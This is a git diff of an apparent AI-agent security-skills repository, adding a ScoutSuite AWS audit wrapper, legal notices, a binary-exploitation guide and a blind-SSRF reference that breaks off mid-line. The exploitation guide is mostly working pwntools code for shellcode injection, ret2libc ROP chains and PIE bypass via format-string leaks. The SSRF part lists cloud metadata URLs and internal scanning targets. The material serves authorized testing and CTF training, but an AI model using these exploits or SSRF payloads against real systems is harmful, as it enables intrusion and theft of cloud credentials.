+os.environ["AWS_DEFAULT_REGION"] = "us-east-1" + +# Option 2: AWS CLI profile +# scout aws --profile my-profile + +# Option 3: IAM Role (EC2 instance profile / ECS task role) +# Automatically detected by boto3 +``` + +## CLI Reference + +### Full AWS Account Scan +```bash +scout aws --report-dir ./scout-report +``` + +### Scan Specific Services +```bash +scout aws --services iam s3 ec2 rds lambda --report-dir ./scout-report +``` + +### Scan Specific Regions +```bash +scout aws --regions us-east-1 us-west-2 eu-west-1 --report-dir ./scout-report +``` + +### Use Named Profile +```bash +scout aws --profile production-readonly --report-dir ./scout-report +``` + +### Key CLI Flags + +| Flag | Description | +|------|-------------| +| `--provider` | Cloud provider: `aws`, `azure`, `gcp` | +| `--profile` | AWS CLI named profile | +| `--regions` | Specific AWS regions to scan | +| `--services` | Specific services to audit | +| `--report-dir` | Output directory for HTML report | +| `--no-browser` | Don't open report in browser | +| `--max-workers` | Number of parallel API threads | +| `--result-format` | Output format: `json`, `csv` | +| `--exceptions` | Path to exceptions file (known acceptable findings) | +| `--ruleset` | Custom ruleset file for scoring | + +## Python Integration + +### Run Scout Suite and Parse Results +```python +import subprocess +import json +from pathlib import Path + +def run_scout(services=None, regions=None, profile=None, report_dir="/tmp/scout"): + cmd = ["scout", "aws", "--report-dir", report_dir, "--no-browser"] + if services: + cmd.extend(["--services"] + services) + if regions: + cmd.extend(["--regions"] + regions) + if profile: + cmd.extend(["--profile", profile]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=1800) + if result.returncode != 0: + raise RuntimeError(f"Scout Suite failed: {result.stderr}") + + # Parse the JSON results + report_path = Path(report_dir) / "scoutsuite-results" / "scoutsuite_results.json" + if report_path.exists(): + with open(report_path) as f: + return json.load(f) + return None +``` + +### Extract High-Risk Findings +```python +def extract_findings(report, min_severity="warning"): + severity_order = {"danger": 3, "warning": 2, "info": 1} + min_level = severity_order.get(min_severity, 1) + findings = [] + + for service_name, service_data in report.get("services", {}).items(): + for rule_name, rule_data in service_data.get("findings", {}).items(): + level = severity_order.get(rule_data.get("level", "info"), 0) + if level >= min_level: + findings.append({ + "service": service_name, + "rule": rule_name, + "severity": rule_data.get("level"), + "description": rule_data.get("description"), + "flagged_items": rule_data.get("flagged_items", 0), + "checked_items": rule_data.get("checked_items", 0), + }) + return sorted(findings, key=lambda x: severity_order.get(x["severity"], 0), reverse=True) +``` + +## Common Findings Categories + +| Service | Common Findings | +|---------|----------------| +| IAM | Root account MFA, access key rotation, overly permissive policies | +| S3 | Public buckets, missing encryption, no versioning | +| EC2 | Security groups with 0.0.0.0/0, unencrypted EBS, public IPs | +| RDS | Public access, no encryption at rest, no multi-AZ | +| Lambda | Overly permissive roles, environment variable secrets | +| CloudTrail | Logging disabled, no log file validation | +| VPC | Default VPC in use, missing flow logs | ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "provider_code": "aws", + "account_id": "123456789012", + "last_run": { + "time": "2025-01-15T10:30:00Z", + "ruleset_name": "default", + "run_parameters": {"services": ["iam", "s3", "ec2"]} + }, + "services": { + "iam": { + "findings": { + "iam-root-account-no-mfa": { + "level": "danger", + "description": "Root account does not have MFA enabled", + "flagged_items": 1, + "checked_items": 1 + } + } + }, + "s3": { + "findings": { + "s3-bucket-no-default-encryption": { + "level": "warning", + "description": "S3 bucket does not have default encryption", + "flagged_items": 3, + "checked_items": 15 + } + } + } + } +} ``` diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py b/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py index c00a9d34..63395b00 100644 --- a/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py +++ b/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py @@ -1,60 +1,252 @@ #!/usr/bin/env python3 -"""AWS Scout Suite security audit agent.""" -import argparse, json, sys +"""ScoutSuite AWS account enumeration and security audit agent. + +Wraps the ScoutSuite CLI to perform comprehensive AWS security audits, +parses the generated JSON results, and produces a structured findings +report covering IAM, S3, EC2, RDS, Lambda, and other AWS services. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def run_scan(target, token=None): + +def find_scoutsuite_binary(): + """Locate the scout CLI binary.""" + custom_path = os.environ.get("SCOUTSUITE_PATH") + if custom_path and os.path.isfile(custom_path): + return custom_path + for name in ["scout", "scout.exe"]: + for directory in os.environ.get("PATH", "").split(os.pathsep): + full_path = os.path.join(directory, name) + if os.path.isfile(full_path): + return full_path + return None + + +def run_scoutsuite(scout_bin, profile=None, services=None, regions=None, + result_dir=None, max_workers=None, no_browser=True): + """Execute ScoutSuite AWS scan.""" + if scout_bin: + cmd = [scout_bin, "aws"] + else: + cmd = [sys.executable, "-m", "ScoutSuite", "aws"] + + if profile: + cmd.extend(["--profile", profile]) + if services: + cmd.extend(["--services"] + services) + if regions: + cmd.extend(["--regions"] + regions) + if result_dir: + cmd.extend(["--report-dir", result_dir]) + if max_workers: + cmd.extend(["--max-workers", str(max_workers)]) + if no_browser: + cmd.append("--no-browser") + + print(f"[*] Running: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=1800, + ) + if result.returncode != 0: + print(f"[!] ScoutSuite exited with code {result.returncode}", file=sys.stderr) + if result.stderr: + print(f" stderr: {result.stderr[:500]}", file=sys.stderr) + return result.returncode, result.stdout, result.stderr + + +def find_latest_results(result_dir=None): + """Find the most recent ScoutSuite results JSON file.""" + import glob as _glob + if result_dir: + search_dirs = [result_dir] + else: + search_dirs = [ + os.path.expanduser("~/.local/share/scoutsuite-report"), + "scoutsuite-report", + os.path.join(os.getcwd(), "scoutsuite-report"), + ] + for base_dir in search_dirs: + pattern = os.path.join(base_dir, "scoutsuite-results", "scoutsuite_results_*.js") + matches = _glob.glob(pattern) + if not matches: + pattern = os.path.join(base_dir, "**", "scoutsuite_results_*.js") + matches = _glob.glob(pattern, recursive=True) + if matches: + return max(matches, key=os.path.getmtime) + return None + + +def parse_results(results_file): + """Parse ScoutSuite results JavaScript file into Python dict.""" + print(f"[*] Parsing results from {results_file}") + with open(results_file, "r", encoding="utf-8") as f: + content = f.read() + json_start = content.find("{") + if json_start == -1: + print("[!] Could not find JSON data in results file", file=sys.stderr) + return None + json_data = content[json_start:].rstrip().rstrip(";") + return json.loads(json_data) + + +def extract_findings(results): + """Extract security findings from ScoutSuite results.""" findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) - else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + services = results.get("services", {}) + severity_map = {"danger": "CRITICAL", "warning": "HIGH", "info": "INFO"} + + for service_name, service_data in services.items(): + rules = service_data.get("findings", {}) + for rule_id, rule_data in rules.items(): + flagged = rule_data.get("flagged_items", 0) + if flagged == 0: + continue + level = rule_data.get("level", "warning") + findings.append({ + "service": service_name, + "rule_id": rule_id, + "description": rule_data.get("description", ""), + "severity": severity_map.get(level, "MEDIUM"), + "level": level, + "flagged_items": flagged, + "checked_items": rule_data.get("checked_items", 0), + "rationale": rule_data.get("rationale", ""), + "remediation": rule_data.get("remediation", ""), + "references": rule_data.get("references", []), + "compliance": rule_data.get("compliance", []), + }) + + severity_order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "INFO": 3} + findings.sort(key=lambda f: (severity_order.get(f["severity"], 9), -f["flagged_items"])) return findings -def analyze_results(target, token=None): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: - data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass - return findings + +def extract_account_info(results): + """Extract AWS account metadata from results.""" + last_run = results.get("last_run", {}) + return { + "account_id": results.get("account_id", "unknown"), + "partition": results.get("partition", "aws"), + "run_time": last_run.get("time", ""), + "version": last_run.get("version", ""), + "ruleset": last_run.get("ruleset_name", "default"), + "services_scanned": list(results.get("services", {}).keys()), + } + + +def format_summary(account_info, findings): + """Print a human-readable summary.""" + print(f"\n{'='*60}") + print(f" ScoutSuite AWS Security Audit Report") + print(f"{'='*60}") + print(f" Account : {account_info['account_id']}") + print(f" Partition : {account_info['partition']}") + print(f" Scan Time : {account_info['run_time']}") + print(f" Services : {', '.join(account_info['services_scanned'])}") + print(f" Failing Rules: {len(findings)}") + + severity_counts = {} + for f in findings: + sev = f["severity"] + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n Severity Breakdown:") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "INFO"]: + count = severity_counts.get(sev, 0) + if count > 0: + print(f" {sev:10s}: {count}") + + by_service = {} + for f in findings: + by_service.setdefault(f["service"], []).append(f) + + print(f"\n Findings by Service:") + for svc, items in sorted(by_service.items(), key=lambda x: -len(x[1])): + danger = sum(1 for i in items if i["severity"] == "CRITICAL") + warn = sum(1 for i in items if i["severity"] == "HIGH") + print(f" {svc:20s}: {len(items)} findings ({danger} critical, {warn} high)") + + print(f"\n Top Critical/High Findings:") + for f in findings[:15]: + if f["severity"] in ("CRITICAL", "HIGH"): + print(f" [{f['severity']:8s}] {f['service']:12s} | " + f"{f['description'][:60]} ({f['flagged_items']} items)") + + return severity_counts + def main(): - p = argparse.ArgumentParser(description="AWS Scout Suite security audit agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] AWS Scout Suite security audit agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) + parser = argparse.ArgumentParser( + description="ScoutSuite AWS security audit agent" + ) + parser.add_argument("--profile", help="AWS CLI profile name") + parser.add_argument("--services", nargs="+", + help="Specific services to audit (e.g., iam s3 ec2 rds)") + parser.add_argument("--regions", nargs="+", + help="Specific regions to audit") + parser.add_argument("--result-dir", help="Directory for ScoutSuite report output") + parser.add_argument("--results-file", + help="Parse existing results file instead of running scan") + parser.add_argument("--max-workers", type=int, default=10, + help="Max concurrent API workers (default: 10)") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if args.results_file: + results_file = args.results_file else: + scout_bin = find_scoutsuite_binary() + returncode, stdout, stderr = run_scoutsuite( + scout_bin, args.profile, args.services, args.regions, + args.result_dir, args.max_workers + ) + if returncode != 0: + print("[!] ScoutSuite scan failed", file=sys.stderr) + sys.exit(1) + results_file = find_latest_results(args.result_dir) + + if not results_file or not os.path.isfile(results_file): + print("[!] Could not find ScoutSuite results file", file=sys.stderr) + sys.exit(1) + + results = parse_results(results_file) + if not results: + sys.exit(1) + + account_info = extract_account_info(results) + findings = extract_findings(results) + severity_counts = format_summary(account_info, findings) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "ScoutSuite", + "account": account_info, + "severity_counts": severity_counts, + "total_findings": len(findings), + "findings": findings, + "risk_level": ( + "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0 + else "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if len(findings) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py b/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py index 56e56a91..e9de5fe8 100644 --- a/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py +++ b/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py @@ -8,7 +8,6 @@ WARNING: Only use with explicit written authorization on approved AWS accounts. """ import json -import sys from datetime import datetime, timezone import boto3 diff --git a/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md b/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md index 46d5dd85..8ae4a90e 100644 --- a/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md +++ b/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md @@ -32,6 +32,9 @@ license: Apache-2.0 - Network monitoring tools deployed for detecting the simulation - Baseline bandwidth measurements before testing + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Establish Baseline Bandwidth Measurements diff --git a/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py b/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py index 41a97d3e..36d4e102 100644 --- a/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py +++ b/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """ Bandwidth Throttling Attack Simulation Agent — AUTHORIZED TESTING ONLY Simulates bandwidth degradation attacks using Scapy and tc (traffic control) @@ -10,10 +13,9 @@ WARNING: Only use with explicit written authorization on isolated test networks. import json import subprocess import sys -import time from datetime import datetime, timezone -from scapy.all import IP, TCP, UDP, Raw, send, RandShort +from scapy.all import IP, UDP, Raw, send, RandShort def run_cmd(cmd: list[str]) -> dict: diff --git a/skills/performing-binary-exploitation-analysis/SKILL.md b/skills/performing-binary-exploitation-analysis/SKILL.md index b7523db5..04c177ae 100644 --- a/skills/performing-binary-exploitation-analysis/SKILL.md +++ b/skills/performing-binary-exploitation-analysis/SKILL.md @@ -15,7 +15,432 @@ license: Apache-2.0 # Performing Binary Exploitation Analysis -# For authorized security testing and CTF challenges only +**For authorized security testing and CTF challenges only.** Analyze ELF binaries for exploitation vectors using checksec, ROPgadget, and pwntools for buffer overflow and ROP chain development. + +## When to Use + +- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities +- Solving binary exploitation challenges in CTF competitions +- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries +- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact +- Training security engineers in exploit development techniques for defensive awareness +- Validating that security patches for buffer overflow vulnerabilities are effective + +**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents). + +## Prerequisites + +- Linux system (Ubuntu/Debian recommended) for exploit development +- Python 3.8+ with `pwntools` (`pip install pwntools`) +- GDB with `pwndbg` or `GEF` plugin for enhanced debugging +- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`) +- `checksec` (included with pwntools or standalone via `apt install checksec`) +- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries) +- Basic understanding of x86/x86_64 calling conventions and stack layout + +## Workflow + +### Step 1: Install the Exploitation Toolkit + +```bash +# Install pwntools and dependencies +pip install pwntools ROPgadget + +# Install GDB with pwndbg plugin +git clone https://github.com/pwndbg/pwndbg +cd pwndbg && ./setup.sh + +# Alternatively, install GEF (GDB Enhanced Features) +# bash -c "$(curl -fsSL https://gef.blah.cat/sh)" + +# Install supporting tools +sudo apt install -y gdb nasm gcc-multilib libc6-dbg + +# Verify installation +python3 -c "from pwn import *; print('pwntools version:', version)" +checksec --version +ROPgadget --version +``` + +### Step 2: Analyze Binary Protections with checksec + +Before writing any exploit, enumerate the security mitigations compiled into the binary: + +```python +from pwn import * + +# Load the target binary +binary_path = "./vulnerable_server" +elf = ELF(binary_path) + +# checksec output explains what mitigations are in place +print(f"Architecture: {elf.arch}") +print(f"Bits: {elf.bits}") +print(f"Endianness: {elf.endian}") +print() + +# Key security properties +# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT +# Stack Canary: Detects stack buffer overflows via random canary value +# NX (No-eXecute): Prevents executing code on the stack (DEP) +# PIE: Position Independent Executable, randomizes base address +# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space) + +# Also available via command line: +# checksec --file=./vulnerable_server +``` + +```bash +# Command-line checksec output example: +checksec --file=./vulnerable_server +# RELRO STACK CANARY NX PIE +# Partial RELRO No canary found NX disabled No PIE + +# Check ASLR status on the system +cat /proc/sys/kernel/randomize_va_space +# 0 = disabled, 1 = conservative, 2 = full randomization +``` + +### Step 3: Find the Buffer Overflow Offset + +Determine exactly how many bytes are needed to overwrite the return address: + +```python +from pwn import * + +context.binary = ELF("./vulnerable_server") +context.log_level = "info" + +# Method 1: Use cyclic pattern to find exact offset +# Generate a unique cyclic pattern +pattern_length = 200 +pattern = cyclic(pattern_length) +print(f"Generated cyclic pattern of length {pattern_length}") + +# Send the pattern to the binary +p = process("./vulnerable_server") +p.sendline(pattern) +p.wait() + +# After the crash, read the value in RIP/EIP from core dump or GDB +# Then find the offset: +# For 64-bit: crashed_value = p.corefile.fault_addr +# Or manually from GDB: "info registers rip" after crash +crashed_rip = 0x6161616c # Example value from crash +offset = cyclic_find(crashed_rip) +print(f"Offset to return address: {offset} bytes") + +# Method 2: Use GDB with pwndbg to find offset interactively +# In GDB: +# pwndbg> cyclic 200 +# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())") +# pwndbg> cyclic -l $rsp (or cyclic -l ) +``` + +### Step 4: Exploit a Stack Buffer Overflow (NX Disabled) + +When NX is disabled, inject and execute shellcode directly on the stack: + +```python +from pwn import * + +# Configuration +binary_path = "./vulnerable_server" +context.binary = ELF(binary_path) +context.arch = "amd64" # or "i386" for 32-bit + +OFFSET = 72 # Determined in Step 3 + +# Generate shellcode +# execve("/bin/sh", NULL, NULL) - spawn a shell +shellcode = asm(shellcraft.sh()) +print(f"Shellcode length: {len(shellcode)} bytes") + +# Build the exploit payload +# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled] +nop_sled = asm("nop") * 32 + +# For a local exploit without ASLR, we can estimate the buffer address +# Run in GDB first to find the buffer address: +# break *main+XX (after read/gets call) +# x/20x $rsp +buffer_addr = 0x7fffffffe000 # Example - get from GDB + +padding_len = OFFSET - len(nop_sled) - len(shellcode) +payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr) + +# Launch exploit +p = process(binary_path) +p.sendline(payload) +p.interactive() # Interact with the spawned shell +``` + +### Step 5: Build a ROP Chain (NX Enabled) + +When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming): + +```bash +# Find ROP gadgets in the binary +ROPgadget --binary ./vulnerable_server + +# Find specific gadgets +ROPgadget --binary ./vulnerable_server --only "pop|ret" +ROPgadget --binary ./vulnerable_server --only "mov|ret" + +# Search for gadgets to control registers for syscall +ROPgadget --binary ./vulnerable_server | grep "pop rdi" +ROPgadget --binary ./vulnerable_server | grep "pop rsi" +ROPgadget --binary ./vulnerable_server | grep "pop rdx" +ROPgadget --binary ./vulnerable_server | grep "syscall" + +# Find gadgets in libc (for ret2libc attacks) +ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20 +``` + +```python +from pwn import * + +binary_path = "./vulnerable_server" +elf = ELF(binary_path) +context.binary = elf + +OFFSET = 72 + +# Method 1: ret2libc - call system("/bin/sh") via libc +# When the binary is dynamically linked and we know libc version +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +# Start process to leak libc address +p = process(binary_path) + +# If there is a format string or info leak, use it to find libc base +# Example: binary prints puts@GOT address +p.recvuntil(b"puts address: ") +puts_leak = int(p.recvline().strip(), 16) +libc.address = puts_leak - libc.symbols["puts"] +log.success(f"libc base: {hex(libc.address)}") + +# Find a "pop rdi; ret" gadget for x86_64 calling convention +# First argument goes in RDI register +pop_rdi = elf.search(asm("pop rdi; ret")).__next__() +ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment + +# Build the ROP chain: system("/bin/sh") +bin_sh_addr = next(libc.search(b"/bin/sh\x00")) +system_addr = libc.symbols["system"] + +rop_chain = flat( + b"A" * OFFSET, # Padding to reach return address + ret_gadget, # Stack alignment (needed for movaps in system) + pop_rdi, # pop rdi; ret - load /bin/sh address into RDI + bin_sh_addr, # Address of "/bin/sh" string in libc + system_addr, # Call system() +) + +p.sendline(rop_chain) +p.interactive() +``` + +### Step 6: Use pwntools ROP Helper for Automated Chain Building + +```python +from pwn import * + +binary_path = "./vulnerable_server" +elf = ELF(binary_path) +context.binary = elf + +OFFSET = 72 + +# pwntools automatic ROP chain builder +rop = ROP(elf) + +# If the binary has enough gadgets, pwntools can build chains automatically +# For execve("/bin/sh", 0, 0) syscall: +rop.call("puts", [elf.got["puts"]]) # Leak GOT entry +rop.call(elf.symbols["main"]) # Return to main for second stage + +# Print the ROP chain for debugging +print(rop.dump()) + +# Build first-stage payload (leak libc) +stage1 = flat( + b"A" * OFFSET, + rop.chain() +) + +p = process(binary_path) +p.sendline(stage1) + +# Parse the leaked puts address +p.recvuntil(b"\n") # Skip program output +leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00")) +log.success(f"Leaked puts@GOT: {hex(leaked_puts)}") + +# Calculate libc base +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +libc.address = leaked_puts - libc.symbols["puts"] +log.success(f"libc base: {hex(libc.address)}") + +# Build second-stage ROP chain using libc gadgets +rop2 = ROP(libc) +rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0]) + +stage2 = flat( + b"A" * OFFSET, + rop2.chain() +) + +p.sendline(stage2) +p.interactive() +``` + +### Step 7: Debug Exploits with GDB and pwndbg + +```python +from pwn import * + +binary_path = "./vulnerable_server" +elf = ELF(binary_path) +context.binary = elf +context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"] + +# Launch binary under GDB with pwndbg +p = gdb.debug(binary_path, """ + # Set breakpoints at key locations + break *main + break *main+85 + + # Continue to the vulnerable function + continue +""") + +# GDB commands useful during exploit development: +# pwndbg> vmmap - Show memory mappings (find stack, heap, libc) +# pwndbg> checksec - Show binary protections +# pwndbg> search -s "/bin/sh" - Find string in memory +# pwndbg> rop --grep "pop rdi" - Search for gadgets +# pwndbg> cyclic 200 - Generate cyclic pattern +# pwndbg> cyclic -l 0x616161 - Find offset from pattern value +# pwndbg> telescope $rsp 20 - Show stack contents +# pwndbg> x/20gx $rsp - Examine stack as 64-bit values +# pwndbg> heap - Analyze heap state +# pwndbg> got - Show GOT entries and resolved addresses +# pwndbg> plt - Show PLT entries + +OFFSET = 72 +payload = b"A" * OFFSET + p64(0xdeadbeef) +p.sendline(payload) +p.interactive() +``` + +### Step 8: Handle PIE and ASLR with Information Leaks + +```python +from pwn import * + +binary_path = "./vulnerable_pie_binary" +elf = ELF(binary_path) +context.binary = elf + +# When PIE is enabled, we need to leak a code address to defeat randomization +# Common leak techniques: +# 1. Format string vulnerability: %p to leak stack/code pointers +# 2. Partial overwrite: overwrite only lower bytes of a pointer +# 3. Uninitialized memory: read stack memory containing code pointers + +p = process(binary_path) + +# Example: Using a format string leak to defeat PIE +# If the binary has a printf(user_input) vulnerability: +p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +leak_output = p.recvline().strip().decode() +leaked_addrs = leak_output.split(".") + +# Parse leaked addresses to find a code pointer +for i, addr in enumerate(leaked_addrs): + try: + val = int(addr, 16) + # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit + if 0x550000000000 <= val <= 0x560000000000: + log.info(f"Offset {i}: {addr} (likely PIE code address)") + # libc addresses typically at 0x7fXXXXXXXXXX + elif 0x7f0000000000 <= val <= 0x800000000000: + log.info(f"Offset {i}: {addr} (likely libc address)") + except ValueError: + continue + +# Once we have a leaked PIE address, calculate the binary base +leaked_code_addr = int(leaked_addrs[5], 16) # Example offset +elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset +log.success(f"PIE base: {hex(elf.address)}") + +# Now we can use absolute addresses in our ROP chain +rop = ROP(elf) +# ... build chain using elf.symbols which are now correctly rebased +``` + +### Step 9: Exploit a Remote Target + +```python +from pwn import * + +# Configuration +REMOTE_HOST = "target.ctf.example.com" +REMOTE_PORT = 9001 +binary_path = "./vulnerable_server" + +elf = ELF(binary_path) +context.binary = elf + +def exploit(target): + """Run the full exploit chain against a target (local or remote).""" + OFFSET = 72 + + # Stage 1: Leak libc + rop1 = ROP(elf) + rop1.call("puts", [elf.got["puts"]]) + rop1.call(elf.symbols["main"]) + + payload1 = flat(b"A" * OFFSET, rop1.chain()) + target.sendlineafter(b"Input: ", payload1) + + leaked = u64(target.recvline().strip().ljust(8, b"\x00")) + log.success(f"Leaked puts: {hex(leaked)}") + + # Stage 2: ret2libc + libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + libc.address = leaked - libc.symbols["puts"] + + rop2 = ROP(libc) + rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0]) + + payload2 = flat(b"A" * OFFSET, rop2.chain()) + target.sendlineafter(b"Input: ", payload2) + + target.interactive() + +# Test locally first +log.info("Testing exploit locally...") +local = process(binary_path) +exploit(local) + +# Then run against remote target +# log.info("Running exploit against remote target...") +# remote = remote(REMOTE_HOST, REMOTE_PORT) +# exploit(remote) +``` + +## Verification + +- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection +- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP/EIP contains the expected cyclic value +- Test shellcode payloads execute correctly in a controlled environment with NX disabled +- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call +- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used +- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses +- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness) +- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary diff --git a/skills/performing-binary-exploitation-analysis/scripts/agent.py b/skills/performing-binary-exploitation-analysis/scripts/agent.py index c2f8df4e..9fe0e862 100644 --- a/skills/performing-binary-exploitation-analysis/scripts/agent.py +++ b/skills/performing-binary-exploitation-analysis/scripts/agent.py @@ -9,14 +9,12 @@ and assists exploit development using pwntools and checksec. import argparse import json -import os -import struct import subprocess import sys import datetime try: - from pwn import ELF, ROP, context + from pwn import ELF, ROP HAS_PWNTOOLS = True except ImportError: HAS_PWNTOOLS = False diff --git a/skills/performing-blind-ssrf-exploitation/references/api-reference.md b/skills/performing-blind-ssrf-exploitation/references/api-reference.md index f2bd9eb1..32747121 100644 --- a/skills/performing-blind-ssrf-exploitation/references/api-reference.md +++ b/skills/performing-blind-ssrf-exploitation/references/api-reference.md @@ -1,28 +1,177 @@ -# API Reference: Blind SSRF detection agent +# API Reference: Blind SSRF Exploitation -## API Details -Out-of-band detection, DNS callback, internal port scanning, cloud metadata access +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | Send crafted HTTP requests with SSRF payloads | +| `socket` | Low-level port scanning and connection testing | +| `http.server` | Out-of-band callback listener for blind detection | +| `urllib.parse` | Construct and encode SSRF payload URLs | +| `time` | Measure response timing for time-based blind SSRF | ## Installation + ```bash -pip install requests socket +pip install requests ``` -## Libraries +## Techniques and Payloads -| Library | Use | -|---------|-----| -| `requests` | requests | -| `socket` | socket | +### Cloud Metadata Endpoints -## Authentication +| Cloud Provider | Metadata URL | +|----------------|-------------| +| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` | +| AWS IMDSv2 | Requires `X-aws-ec2-metadata-token` header | +| GCP | `http://metadata.google.internal/computeMetadata/v1/` | +| Azure | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` | +| DigitalOcean | `http://169.254.169.254/metadata/v1/` | +| Oracle Cloud | `http://169.254.169.254/opc/v2/instance/` | -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Internal Network Scanning Payloads +```python +# Common internal targets for blind SSRF probing +INTERNAL_TARGETS = [ + "http://127.0.0.1:{port}", + "http://localhost:{port}", + "http://0.0.0.0:{port}", + "http://[::1]:{port}", + "http://10.0.0.1:{port}", + "http://192.168.1.1:{port}", + "http://172.16.0.1:{port}", +] + +COMMON_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017] +``` + +## Core Functions + +### Out-of-Band (OOB) Blind SSRF Detection +```python +import requests +import threading +from http.server import HTTPServer, BaseHTTPRequestHandler + +class CallbackHandler(BaseHTTPRequestHandler): + received = [] + + def do_GET(self): + CallbackHandler.received.append({ + "path": self.path, + "headers": dict(self.headers), + "client": self.client_address[0], + }) + self.send_response(200) + self.end_headers() + + def log_message(self, format, *args): + pass # Suppress console output + +def start_callback_server(port=8888): + server = HTTPServer(("0.0.0.0", port), 